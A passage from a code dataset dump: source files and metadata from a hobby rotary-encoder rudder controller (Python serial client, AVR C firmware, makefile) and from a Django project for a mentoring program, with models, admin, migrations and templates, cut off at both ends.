Gamma\")\n\naxarr[4].plot(meditation, label=\"Meditation\")\naxarr[4].plot(attention, label=\"Attention\")\n\naxarr[0].legend(bbox_to_anchor=(1, 1), loc=2, borderaxespad=0.)\naxarr[1].legend(bbox_to_anchor=(1, 1), loc=2, borderaxespad=0.)\naxarr[2].legend(bbox_to_anchor=(1, 1), loc=2, borderaxespad=0.)\naxarr[3].legend(bbox_to_anchor=(1, 1), loc=2, borderaxespad=0.)\naxarr[4].legend(bbox_to_anchor=(1, 1), loc=2, borderaxespad=0.)\n\n#plt.title(row[1])\nplt.show()\n" } ]
4
elitedekkerz/spaceRudder
https://github.com/elitedekkerz/spaceRudder
fbdb73488024569d5287483446fd1f2e63ddffb2
ddefe9b96f6300a6f820fd1ded6eb31ce21f6925
ab74428d1b0dca6dad8a76a85a7c58da416c890d
refs/heads/master
2021-09-02T05:40:22.527496
2017-12-30T20:11:33
2017-12-30T20:11:33
112,378,338
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6070700287818909, "alphanum_fraction": 0.6247450709342957, "avg_line_length": 24.36206817626953, "blob_id": "43403c6d7dfaca40a16a9eb33726059fe2e0dc4a", "content_id": "7255e59ad3a7a1edb9e23f44e853ca32c9d12e10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1471, "license_type": "no_license", "max_line_length": 83, "num_lines": 58, "path": "/src/python/rudder.py", "repo_name": "elitedekkerz/spaceRudder", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport SDClient\nimport serial\nimport logging\nimport threading\nimport sys\nimport time\nimport numpy\n\nlogging.basicConfig(level=logging.INFO)\n\nser = serial.Serial()\nser.port = '/dev/ttyUSB0'\nser.baudrate = 115200\nser.open()\n\n\nclass rudder():\n def __init__(self, server = 'localhost', ship = 'testship'):\n #configure spacegame client\n c = SDClient.client(server, 'spaceRudder4700', ship)\n self.serverRudder = c.gameVariable(['rudder','yaw'])\n self.position = 0\n #translate maximum steering speed\n self.scalar = (1200/4)\n\n def update(self,position):\n self.position = numpy.clip(self.position+position,-self.scalar,self.scalar)\n logging.info(self.position/self.scalar)\n\n def updateLoop(self):\n self.run = True\n while self.run:\n self.serverRudder.parse([str(self.position/self.scalar)])\n self.position = 0\n time.sleep(0.1)\n\nr = rudder()\nupdateThread = threading.Thread(target=r.updateLoop)\nupdateThread.start()\n\ntry:\n while True:\n position = 0;\n charactersToRead = ser.inWaiting()\n if not charactersToRead:\n charactersToRead = 1\n for char in ser.read(charactersToRead).decode(\"utf-8\"):\n if char == \">\":\n position += 1\n elif char == \"<\":\n position -= 1\n r.update(position)\nexcept KeyboardInterrupt:\n pass\n\nr.run = False\nupdateThread.join()\n" }, { "alpha_fraction": 0.7155963182449341, "alphanum_fraction": 0.7660550475120544, "avg_line_length": 35.33333206176758, "blob_id": "be3ef295fbbf6fb6876c1c8255664e2728b0e102", "content_id": "1c6b9adc87fc56676c0c07bef5549bfb3c59d66f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 218, "license_type": "no_license", "max_line_length": 62, "num_lines": 6, "path": "/README.md", "repo_name": "elitedekkerz/spaceRudder", "src_encoding": "UTF-8", "text": "it's just a rotary encoder hooked up to PB0:1 on an atmega168.\nencoder data is sent over serial at 115200 baud\n\">\" is a step clockwise\n\"<\" is a step counter clockwise\n\nthe python script connects to a spacegame server.\n" }, { "alpha_fraction": 0.5072886347770691, "alphanum_fraction": 0.5389941930770874, "avg_line_length": 28.826086044311523, "blob_id": "48cfaca87efcc83ea9473bbe36166464a0ceedc0", "content_id": "26d7b27cccb3677d8e9f73455dc4c3f7c10be66a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2744, "license_type": "no_license", "max_line_length": 87, "num_lines": 92, "path": "/src/avr/main.c", "repo_name": "elitedekkerz/spaceRudder", "src_encoding": "UTF-8", "text": "/* \n * keep track of a rotary encoder and update it's status over serial\n */\n\n#include <stdlib.h>\n#include <avr/io.h>\n#include <avr/interrupt.h>\n\n#define CW 62 //>\n#define CCW 60 //<\n\n//prototypes\nvoid setupSerial();\nvoid setupRudder();\n\nvolatile int position = 0;\n\nint main(void){\n setupSerial();\n setupRudder();\n //enable interrupts\n sei();\n\n //repeat forever\n for(;;){\n //update status to serial buffer\n if (UCSR0A & (1<<UDRE0)){ //check if ready to send data\n if (position > 0){ //send clockwise character\n UDR0 = CW;\n position --; //update position buffer\n }\n else if (position < 0){ //send counter clockwise character\n UDR0 = CCW;\n position ++; //update position buffer\n }\n }\n }\n}\n\n/* configurations */\nvoid setupSerial(){\n //setup USART0\n UCSR0B |= (1<<RXEN0)| //receiver enable\n (1<<TXEN0); //transmitter enable\n //set baudrate to 115200\n UCSR0A |= (1<<U2X0); //double transmission speed\n UBRR0 = 16; //copied from datasheet section 20.10\n}\n\nvoid setupRudder(){\n DDRB &= ~(0b11); //set PB0:1 as input\n PORTB |= 0b11; //pull-up on PB0:1\n PCICR = (1<<PCIE0); //enable interrupt from pcint0:7\n PCMSK0 |= (1<<PCINT0)|//interrupt on PB0\n (1<<PCINT1);//interrupt on PB1\n}\n\n/* encoder step interrupt */\nISR(PCINT0_vect){\n static uint8_t sequence[] = { //gray encoding for rotary encoder data\n 0b00,\n 0b01,\n 0b11,\n 0b10};\n static uint8_t previousStep = 0; //position of prefious step in sequence\n uint8_t step = PINB & 0b11; //get the status of PB0:1 \n uint8_t forwardStep, backStep; //values of step forwards and backwards\n\n //predict next step forward\n if (previousStep < sizeof(sequence)-1) //check if step is within bounds\n forwardStep = previousStep + 1;\n else\n forwardStep = 0; //wrap around\n\n //predict next step backwards\n if (previousStep > 0) //check if step is within bounds\n backStep = previousStep - 1;\n else\n backStep = sizeof(sequence)-1; //wrap around\n\n if (step == sequence[forwardStep]) //step clockwise from previous\n position ++;\n else if (step == sequence[backStep]) //step counter clockwise from previous\n position --;\n\n int i;\n for(i = 0; i<3; i++) //get current step location in sequence\n if (sequence[i] == step){\n previousStep = i;\n break;\n }\n}\n" }, { "alpha_fraction": 0.6166134476661682, "alphanum_fraction": 0.6837060451507568, "avg_line_length": 18.5625, "blob_id": "048f3ea9cf1118b85fcdd0b6cd87ab11f94c65bf", "content_id": "2b3f4873e41ba56e753c450a993e4e2ee6440732", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 313, "license_type": "no_license", "max_line_length": 72, "num_lines": 16, "path": "/src/avr/makefile", "repo_name": "elitedekkerz/spaceRudder", "src_encoding": "UTF-8", "text": "all: clean hex program\n\nreset:\n\tavrdude -c arduino -P /dev/ttyUSB0 -b 19200 -p atmega168 -F\n\nprogram: main.hex\n\tavrdude -c arduino -P /dev/ttyUSB0 -b 19200 -p atmega168 -F -U main.hex\n\nhex: main.o\n\tavr-objcopy -O ihex main.o main.hex\n\nmain.o:\n\tavr-gcc -g -mmcu=atmega168 -o main.o main.c\n\nclean:\n\trm -f *.hex *.o\n" } ]
4
Botafogo1894/dsc-1-07-06-object-oriented-attributes-with-functions-lab-nyc-career-ds-102218
https://github.com/Botafogo1894/dsc-1-07-06-object-oriented-attributes-with-functions-lab-nyc-career-ds-102218
0f763abf52f1ba2640c58d58605bcd7b5b9a69ef
d6124179bc0dc911736d50499b135b3e29377752
fdd5ec30740d6f8827d42d8c6b0e6726abd67e78
refs/heads/master
2020-04-03T12:38:33.795024
2018-10-29T19:15:06
2018-10-29T19:15:06
155,258,297
0
0
null
2018-10-29T18:07:50
2018-10-29T18:06:40
2018-10-29T18:06:41
null
[ { "alpha_fraction": 0.5813664793968201, "alphanum_fraction": 0.5937888026237488, "avg_line_length": 24.967741012573242, "blob_id": "94924a06a69af7380ed73f94dc551a9de7907c13", "content_id": "42e858cf46e441f6bbdc957208f212b7c8e1a917", "detected_licenses": [ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 805, "license_type": "permissive", "max_line_length": 69, "num_lines": 31, "path": "/school.py", "repo_name": "Botafogo1894/dsc-1-07-06-object-oriented-attributes-with-functions-lab-nyc-career-ds-102218", "src_encoding": "UTF-8", "text": "class School:\n\n def __init__(self, name, roster = {}):\n self._name = name\n self._roster = roster\n\n def add_student(self, name, grade):\n try:\n self._roster[grade].append(name)\n except:\n self._roster[grade] = [name]\n\n def grade(self, grade):\n return self._roster[grade]\n\n def sort_roster(self):\n new_roster = self._roster.copy()\n for key in new_roster.keys():\n new_roster.update({key: sorted(new_roster[key])})\n return sorted(new_roster.items(), key = lambda item: item[0])\n\n\nschool = School(\"Middletown High School\")\n\nschool.add_student(\"Dilyan\", 12)\nschool.add_student(\"Kelly Slater\", 9)\nschool.add_student(\"Tony Hawk\", 10)\nschool.add_student(\"Ryan Sheckler\", 10)\nschool.add_student(\"Bethany Hamilton\", 11)\n\nprint(school._roster)\n" } ]
1
cicioflaviu/workshop_cerce
https://github.com/cicioflaviu/workshop_cerce
dcc0f850f179deb18f24dd6be01d0211a20a8b75
8e6275e166618b83d8a88f255dc7c289cb5c628c
fa729ee269a110299156383f8d192cd1bf8c7588
refs/heads/master
2020-04-16T08:17:12.648756
2019-01-12T18:03:44
2019-01-12T18:03:44
165,418,547
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7189542651176453, "alphanum_fraction": 0.7189542651176453, "avg_line_length": 24.41666603088379, "blob_id": "713ab6d45cb35f0a74016c2e84447e9f75926206", "content_id": "15f485a03df956f10174b16923fd34390cebd04f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 57, "num_lines": 12, "path": "/vote/admin.py", "repo_name": "cicioflaviu/workshop_cerce", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import VoteTopic, Vote\n\n\nclass VoteAdmin(admin.ModelAdmin):\n list_display = [\"id\", \"topic\", \"owner\", \"vote_value\"]\n list_filter = [\"owner\", \"vote_value\"]\n\n\n# Register your models here.\nadmin.site.register(Vote, VoteAdmin)\nadmin.site.register(VoteTopic)\n\n" }, { "alpha_fraction": 0.7634408473968506, "alphanum_fraction": 0.7634408473968506, "avg_line_length": 17.600000381469727, "blob_id": "c831fe9cec520ec76f64509c1943a157edcb63e9", "content_id": "e46533d4ebe9ce793930cba9b84f595419d6fde6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 93, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/voteforme/apps.py", "repo_name": "cicioflaviu/workshop_cerce", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass VoteformeConfig(AppConfig):\n name = 'voteforme'\n" } ]
2
jcarrillog554/GoMenTe
https://github.com/jcarrillog554/GoMenTe
55ea8ad36eb886c97c26f962cd05c69b9dc878c7
bf029b8cd317f4513293388126a29d9bd0c74fa2
ee181e430775e2bd327e4cb3448efa9ae1a67b02
refs/heads/master
2021-01-19T20:30:30.211418
2017-04-09T08:12:35
2017-04-09T08:12:35
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6853932738304138, "alphanum_fraction": 0.6853932738304138, "avg_line_length": 18.77777862548828, "blob_id": "5f5e3e66baf815e276746cb4c1b9037f0383d5d3", "content_id": "b898ecd01ffbd836eec3680e818bb16e352b8c61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 178, "license_type": "no_license", "max_line_length": 48, "num_lines": 9, "path": "/personas/apps.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass PersonasConfig(AppConfig):\n name = 'personas'\n\n def ready(self):\n super()\n from personas.models import crearPersona\n" }, { "alpha_fraction": 0.7519142627716064, "alphanum_fraction": 0.7611026167869568, "avg_line_length": 55, "blob_id": "e5a081056a9a2db01111838ec78235d3a9cd28e0", "content_id": "6a82cb85be69604ca571708f0a4a3c6afe7df7af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1959, "license_type": "no_license", "max_line_length": 153, "num_lines": 35, "path": "/sesiones/models.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from datetime import date\n\nfrom django.db import models\n\n# Create your models here.\nfrom lugares.models import Distrito\nfrom personas.models import Persona\nfrom programas.models import Periodo\n\n\nclass Sesion(models.Model):\n nombre = models.CharField('Nombre', max_length=100, unique=True)\n fecha = models.DateField('Fecha', default=date.today)\n inicio = models.TimeField('Hora de inicio', default=date.today)\n fin = models.TimeField('Hora de fin', default=date.today)\n lugar = models.CharField('Nombre del lugar', max_length=100)\n direccion = models.TextField('Direccion', null=True, blank=True)\n latitud = models.DecimalField('Latitud', max_digits=30, decimal_places=10, null=True, blank=True, editable=False)\n longitud = models.DecimalField('Longitud', max_digits=30, decimal_places=10, null=True, blank=True, editable=False)\n idPeriodoRef = models.ForeignKey(Periodo, on_delete=models.PROTECT, verbose_name='Periodo')\n idDistritoRef = models.ForeignKey(Distrito, on_delete=models.PROTECT, verbose_name='Distrito')\n\nclass Grupo(models.Model):\n nombre = models.CharField('Nombre', max_length=50)\n idSesionRef = models.ForeignKey(Sesion, on_delete=models.PROTECT, verbose_name='Grupo')\n participantes = models.ManyToManyField(Persona, through='Participantes', through_fields=('idGrupoRef', 'idPersonaRef'), related_name='participantes')\n facilitadores = models.ManyToManyField(Persona, db_table='Facilitadores')\n\nclass TipoParticipante(models.Model):\n nombre = models.CharField('Nombre', max_length=50, unique=True)\n\nclass Participantes(models.Model):\n idPersonaRef = models.ForeignKey(Persona, on_delete=models.PROTECT, verbose_name='Persona', related_name='personasI')\n idGrupoRef = models.ForeignKey(Grupo, on_delete=models.PROTECT, verbose_name='Grupo', related_name='gruposI')\n idTipoParticipanteRef = models.ForeignKey(TipoParticipante, on_delete=models.PROTECT, verbose_name='Tipo de participante')" }, { "alpha_fraction": 0.5784946084022522, "alphanum_fraction": 0.6043010950088501, "avg_line_length": 31.068965911865234, "blob_id": "2d539e689166f8f35333bf78578a9958124583b6", "content_id": "526ae5fe9a7d3f6f026aaab809061171fc5ec8df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 930, "license_type": "no_license", "max_line_length": 150, "num_lines": 29, "path": "/home/migrations/0002_auto_20170408_0145.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-04-08 07:45\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('home', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='TipoIntegrante',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=50, verbose_name='Nombre')),\n ],\n ),\n migrations.AddField(\n model_name='equipo',\n name='idTipoIntegranteRef',\n field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.PROTECT, to='home.TipoIntegrante', verbose_name='Tipo integrante'),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.570473849773407, "alphanum_fraction": 0.5990279316902161, "avg_line_length": 34.78260803222656, "blob_id": "f8ce20420ce7e2c9fc628757633aa4476d011ec2", "content_id": "e1c255659a00b73018ca45d2e08162612aa82bae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1646, "license_type": "no_license", "max_line_length": 144, "num_lines": 46, "path": "/programas/migrations/0002_auto_20170408_2206.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-04-09 04:06\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('photologue', '0010_auto_20160105_1307'),\n ('personas', '0006_persona_fotos'),\n ('home', '0003_tercero'),\n ('programas', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='programa',\n name='capacitadores',\n field=models.ManyToManyField(db_table='Capacitadores', related_name='capacitadores', to='personas.Persona'),\n ),\n migrations.AddField(\n model_name='programa',\n name='galeria',\n field=models.OneToOneField(default=0, on_delete=django.db.models.deletion.CASCADE, to='photologue.Gallery', verbose_name='Galeria'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='programa',\n name='logo',\n field=models.ImageField(default=0, upload_to='logos/programas/', verbose_name='Logo'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='programa',\n name='patrocinadores',\n field=models.ManyToManyField(db_table='Patrocinadores', related_name='patrocinadores', to='home.Tercero'),\n ),\n migrations.AlterField(\n model_name='programa',\n name='mentores',\n field=models.ManyToManyField(db_table='Mentores', related_name='mentores', to='personas.Persona'),\n ),\n ]\n" }, { "alpha_fraction": 0.8224852085113525, "alphanum_fraction": 0.8224852085113525, "avg_line_length": 23.285715103149414, "blob_id": "cce544172853df97e10cd9bbebbb2a19cf7dda5d", "content_id": "00ec66d44cfcdcef79254622ef2d62537f5c9a15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 169, "license_type": "no_license", "max_line_length": 46, "num_lines": 7, "path": "/programas/admin.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom programas.models import Programa, Periodo\n\nadmin.site.register(Programa)\nadmin.site.register(Periodo)" }, { "alpha_fraction": 0.8327974081039429, "alphanum_fraction": 0.8327974081039429, "avg_line_length": 30.100000381469727, "blob_id": "f19082408fb284ee04c7d517d2714012f4865acd", "content_id": "f793bc8ee25a52098b82b4074cfb7c756daa41ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 311, "license_type": "no_license", "max_line_length": 86, "num_lines": 10, "path": "/escuelas/admin.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom escuelas.models import TipoEscuela, Escuela, Puesto, Administrativos, Estudiantes\n\nadmin.site.register(TipoEscuela)\nadmin.site.register(Escuela)\nadmin.site.register(Puesto)\nadmin.site.register(Administrativos)\nadmin.site.register(Estudiantes)\n" }, { "alpha_fraction": 0.8345864415168762, "alphanum_fraction": 0.8345864415168762, "avg_line_length": 28.66666603088379, "blob_id": "4143a1fd80d07654cd652256ee5a5084d0730d69", "content_id": "6b6483c61f62fb1d453d3a02be43c642f027b08a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "no_license", "max_line_length": 74, "num_lines": 9, "path": "/sesiones/admin.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom sesiones.models import Sesion, Grupo, TipoParticipante, Participantes\n\nadmin.site.register(Sesion)\nadmin.site.register(Grupo)\nadmin.site.register(TipoParticipante)\nadmin.site.register(Participantes)" }, { "alpha_fraction": 0.5734002590179443, "alphanum_fraction": 0.6148055195808411, "avg_line_length": 29.653846740722656, "blob_id": "13ab447744d14a285e505aec2115a1c6f43a1a61", "content_id": "43c32d883a0ff8f0af24275c2c85d60dd39227e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 797, "license_type": "no_license", "max_line_length": 144, "num_lines": 26, "path": "/home/migrations/0001_initial.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-04-06 03:38\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('personas', '0005_auto_20170318_0009'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Equipo',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('descripcion', models.TextField(verbose_name='Descripcion')),\n ('idPersonaRef', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='personas.Persona', verbose_name='Persona')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5983541011810303, "alphanum_fraction": 0.6108309030532837, "avg_line_length": 49.9054069519043, "blob_id": "1d1833987bea7452b4a1ab56619e87a4346de6f2", "content_id": "4d442ea76ab5e9a3804829ed1bf2d64f5c8f4226", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3767, "license_type": "no_license", "max_line_length": 170, "num_lines": 74, "path": "/sesiones/migrations/0001_initial.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-03-15 06:04\nfrom __future__ import unicode_literals\n\nimport datetime\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('personas', '0001_initial'),\n ('lugares', '0001_initial'),\n ('programas', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Grupo',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=50, verbose_name='Nombre')),\n ],\n ),\n migrations.CreateModel(\n name='Participantes',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('idGrupoRef', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='gruposI', to='sesiones.Grupo', verbose_name='Grupo')),\n ('idPersonaRef', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='personasI', to='personas.Persona', verbose_name='Persona')),\n ],\n ),\n migrations.CreateModel(\n name='Sesion',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=100, unique=True, verbose_name='Nombre')),\n ('fecha', models.DateField(default=datetime.date.today, verbose_name='Fecha')),\n ('inicio', models.TimeField(default=datetime.date.today, verbose_name='Hora de inicio')),\n ('fin', models.TimeField(default=datetime.date.today, verbose_name='Hora de fin')),\n ('lugar', models.CharField(max_length=100, verbose_name='Nombre del lugar')),\n ('direccion', models.TextField(blank=True, null=True, verbose_name='Direccion')),\n ('latitud', models.DecimalField(blank=True, decimal_places=10, editable=False, max_digits=30, null=True, verbose_name='Latitud')),\n ('longitud', models.DecimalField(blank=True, decimal_places=10, editable=False, max_digits=30, null=True, verbose_name='Longitud')),\n ('idDistritoRef', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='lugares.Distrito', verbose_name='Distrito')),\n ('idPeriodoRef', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='programas.Periodo', verbose_name='Periodo')),\n ],\n ),\n migrations.CreateModel(\n name='TipoParticipante',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=50, unique=True, verbose_name='Nombre')),\n ],\n ),\n migrations.AddField(\n model_name='participantes',\n name='idTipoParticipanteRef',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='sesiones.TipoParticipante', verbose_name='Tipo de participante'),\n ),\n migrations.AddField(\n model_name='grupo',\n name='idSesionRef',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='sesiones.Sesion', verbose_name='Grupo'),\n ),\n migrations.AddField(\n model_name='grupo',\n name='participantes',\n field=models.ManyToManyField(related_name='participantes', through='sesiones.Participantes', to='personas.Persona'),\n ),\n ]\n" }, { "alpha_fraction": 0.5374531745910645, "alphanum_fraction": 0.6067415475845337, "avg_line_length": 24.428571701049805, "blob_id": "ba3e4a086016f4fa9cc4fdcd60259ce59b45400b", "content_id": "c77fe55373f26edfd8de5d1a1925ea43b66bafc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 534, "license_type": "no_license", "max_line_length": 90, "num_lines": 21, "path": "/sesiones/migrations/0002_grupo_facilitadores.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-03-22 06:17\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('personas', '0005_auto_20170318_0009'),\n ('sesiones', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='grupo',\n name='facilitadores',\n field=models.ManyToManyField(db_table='Facilitadores', to='personas.Persona'),\n ),\n ]\n" }, { "alpha_fraction": 0.4038622975349426, "alphanum_fraction": 0.4172963798046112, "avg_line_length": 38.733333587646484, "blob_id": "f4c263728a7dc7ba1797213f123b67fef0b3962f", "content_id": "09bb946190780e33110bb708df60f0d316cb0865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1191, "license_type": "no_license", "max_line_length": 107, "num_lines": 30, "path": "/home/templates/home/equipo.html", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "{% extends 'home/index.html' %}\n\n{% block equipo %}\n{% for llave, lista in datos.items %}\n <h3 class=\"section-subheading text-muted\">{{ llave }}</h3>\n {% for x in lista %}\n {% if forloop.counter0 == 0 or forloop.counter0 % 6 == 0 %}\n <div class=\"row\">\n {% endif %}\n <div class=\"col-sm-2\">\n <div class=\"team-member\">\n <img src=\"{% static \"home/img/team/1.jpg\" %}\" class=\"img-responsive img-circle\" alt=\"\">\n <h4>{{ x.idPersonaRef.nombreCompleto }}</h4>\n <p class=\"text-muted\">Lead Designer</p>\n <ul class=\"list-inline social-buttons\">\n <li><a href=\"#\"><i class=\"fa fa-twitter\"></i></a>\n </li>\n <li><a href=\"#\"><i class=\"fa fa-facebook\"></i></a>\n </li>\n <li><a href=\"#\"><i class=\"fa fa-linkedin\"></i></a>\n </li>\n </ul>\n </div>\n </div>\n {% if forloop.counter0 == 0 or forloop.counter0 % 6 == 0 %}\n </div>\n {% endif %}\n {% endfor %}\n{% endfor %}\n{% endblock %}" }, { "alpha_fraction": 0.6135593056678772, "alphanum_fraction": 0.6677966117858887, "avg_line_length": 23.58333396911621, "blob_id": "4969a1fb09a1041b44e982f4806cfb2f8f0d43bc", "content_id": "c02b289bbef7e6c9f25c97388194fee0a62878eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 295, "license_type": "no_license", "max_line_length": 62, "num_lines": 12, "path": "/README.md", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# GoMenTe\nProyecto inicial Go Mente!\n\nRequisitos:\n * Python v3.4+\n * Django v1.10.x\n * PostgreSQL v9.3+\n * HOST: localhost\n * DATABASE: MenTeBD\n * USER: MenTeBD\n * psycopg2 v2.7 (http://initd.org/psycopg/docs/install.html)\n * bcrypt v3.1.3 (https://pypi.python.org/pypi/bcrypt/3.1.3)\n" }, { "alpha_fraction": 0.7467811107635498, "alphanum_fraction": 0.7539342045783997, "avg_line_length": 37.88888931274414, "blob_id": "5b66458e3bc4feaa49dc978eeaf79ad219be3702", "content_id": "8ce3dd79701d9563fadc7d99e0c23ede7d190265", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 699, "license_type": "no_license", "max_line_length": 117, "num_lines": 18, "path": "/home/models.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nfrom personas.models import Persona\n\n\nclass TipoIntegrante(models.Model):\n nombre = models.CharField('Nombre', max_length=50, unique=True)\n\nclass Equipo(models.Model):\n descripcion = models.TextField('Descripcion')\n idPersonaRef = models.ForeignKey(Persona, on_delete=models.PROTECT, verbose_name='Persona')\n idTipoIntegranteRef = models.ForeignKey(TipoIntegrante, on_delete=models.PROTECT, verbose_name='Tipo integrante')\n\nclass Tercero(models.Model):\n nombre = models.CharField('Nombre', max_length=100, unique=True)\n url = models.URLField('Direccion web')\n logo = models.ImageField('Logo', upload_to='logos/terceros/')" }, { "alpha_fraction": 0.720703125, "alphanum_fraction": 0.720703125, "avg_line_length": 29.117647171020508, "blob_id": "b09617a6bee61d5af974ffb89eba3f4315da082b", "content_id": "7d47ddbd911448b62f9d7fb5af20ef38e62ebda2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "no_license", "max_line_length": 80, "num_lines": 17, "path": "/home/views.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "from datetime import date\n\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom home.models import TipoIntegrante, Equipo\n\ndef equipoPorIntegrante():\n tipos = TipoIntegrante.objects.all()\n integrantes = Equipo.objects.all()\n equipo = {}\n for tipo in tipos:\n equipo[tipo.nombre] = integrantes.filter(idTipoIntegranteRef_id=tipo.pk)\n\ndef index(request):\n context = {'Y': date.today().year, 'datos': equipoPorIntegrante()}\n return render(request, 'home/index.html', context)\n" }, { "alpha_fraction": 0.5849514603614807, "alphanum_fraction": 0.6007281541824341, "avg_line_length": 38.238094329833984, "blob_id": "36bcab0b3a48fccba1e84b248455d9f03fccede2", "content_id": "640fc2111f86c4856f0b6f68932c0dfa3791ab8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1648, "license_type": "no_license", "max_line_length": 131, "num_lines": 42, "path": "/programas/migrations/0001_initial.py", "repo_name": "jcarrillog554/GoMenTe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# 